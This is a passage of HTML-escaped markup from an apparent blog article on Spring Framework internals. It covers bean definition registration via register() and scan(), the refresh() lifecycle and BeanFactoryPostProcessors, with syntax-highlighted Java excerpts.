class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;T&amp;gt; beanClass, ...) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;AnnotatedGenericBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotatedGenericBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanClass);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setScope&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scopeMetadata&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getScopeName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = (name != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; name &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanNameGenerator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;generateBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;AnnotationConfigUtils&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;processCommonDefinitionAnnotations&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;definitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BeanDefinitionReaderUtils&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Once the preparation phase is completed, a BeanDefinitionHolder is instantiated. Finally, the definition is officially registered through the &lt;em&gt;registerBeanDefinition()&lt;/em&gt; method.&lt;/p&gt;&lt;h3 id=&quot;scan&quot;&gt;Scan&lt;/h3&gt;&lt;p&gt;When an AnnotationConfigApplicationContext is instantiated by passing an array of strings representing the base packages to the constructor, the situation will be similar.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackages);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;When the ApplicationContext is instantiated, the &lt;em&gt;doScan(basePackages)&lt;/em&gt; method of the ClassPathBeanDefinitionScanner class will be invoked, in which we scan all the
potential beanDefinitions within each basePackage. Inside it, the &lt;em&gt;findCandidateComponents(basePackage)&lt;/em&gt; method is called, which, starting from an array of strings
representing the basePackages, initially constructs an array of Resource, each of which points to the classes in the packages, from which an array of BeanDefinitions
will be created. For each of these, we set the scope and beanName. Subsequently, as already seen in the flow of &lt;em&gt;register()&lt;/em&gt;, we invoke the &lt;em&gt;processCommonDefinitionAnnotations()&lt;/em&gt;
method of the &lt;strong&gt;AnnotationConfigUtils&lt;/strong&gt; class where the aforementioned common annotations are interpreted and applied to the BeanDefinition.&lt;/p&gt;&lt;p&gt;Afterward, there will be a checkCandidate for each candidate that will check, among other things, that the registry does not already contain that definition. Once the definition
is checked, it will be registered within the beanFactory.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;BeanDefinitionHolder&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doScan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanDefinitions&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LinkedHashSet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&amp;gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; basePackages) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidates&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findCandidateComponents&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackage);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; candidates) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setScope&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scopeMetadata&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getScopeName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanNameGenerator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;generateBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(candidate, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;checkCandidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName, candidate)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;definitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(candidate, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanDefinitions&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanDefinitions;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;refresh&quot;&gt;Refresh&lt;/h3&gt;&lt;p&gt;Once all the definitions are registered through one of the two flows described above, we land on the &lt;em&gt;refresh()&lt;/em&gt; method. Within this method, the actual creation of the beans occurs.&lt;/p&gt;&lt;p&gt;This process is characterized by several steps. Initially, the beanFactory is retrieved through the &lt;em&gt;obtainFreshBeanFactory()&lt;/em&gt; method. Once obtained, we enter the
&lt;em&gt;invokeBeanFactoryPostProcessors(beanFactory)&lt;/em&gt; method, which will call its namesake in PostProcessorRegistrationDelegate.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() throws BeansException, IllegalStateException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ConfigurableListableBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;obtainFreshBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;invokeBeanFactoryPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;finishBeanFactoryInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;finishRefresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;beanfactorypostprocessor&quot;&gt;BeanFactoryPostProcessor&lt;/h3&gt;&lt;p&gt;In the &lt;em&gt;PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors()&lt;/em&gt; method, &lt;strong&gt;BeanFactoryPostProcessors&lt;/strong&gt; will be instantiated, which are special beans through
which you can modify the &lt;strong&gt;BeanDefinitions&lt;/strong&gt; previously registered. For example, they can be used for various critical tasks such as configuring global properties, resolving
dependencies, or dynamically adding definitions to the context.&lt;/p&gt;&lt;p&gt;It&amp;#x27;s important to note that BeanFactoryPostProcessors implement the functional interface
BeanFactoryPostProcessor, thus defining a precise contract for manipulating the application context configuration. You can establish priorities among different
BeanFactoryPostProcessors, for example, by using the PriorityOrdered interface to manage the order of configurations. This ensures careful handling of dependencies
and properties in the application environment.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;FactoryPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanFactoryPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;PriorityOrdered&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ConfigurableListableBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Arrays&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanDefinitionNames&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
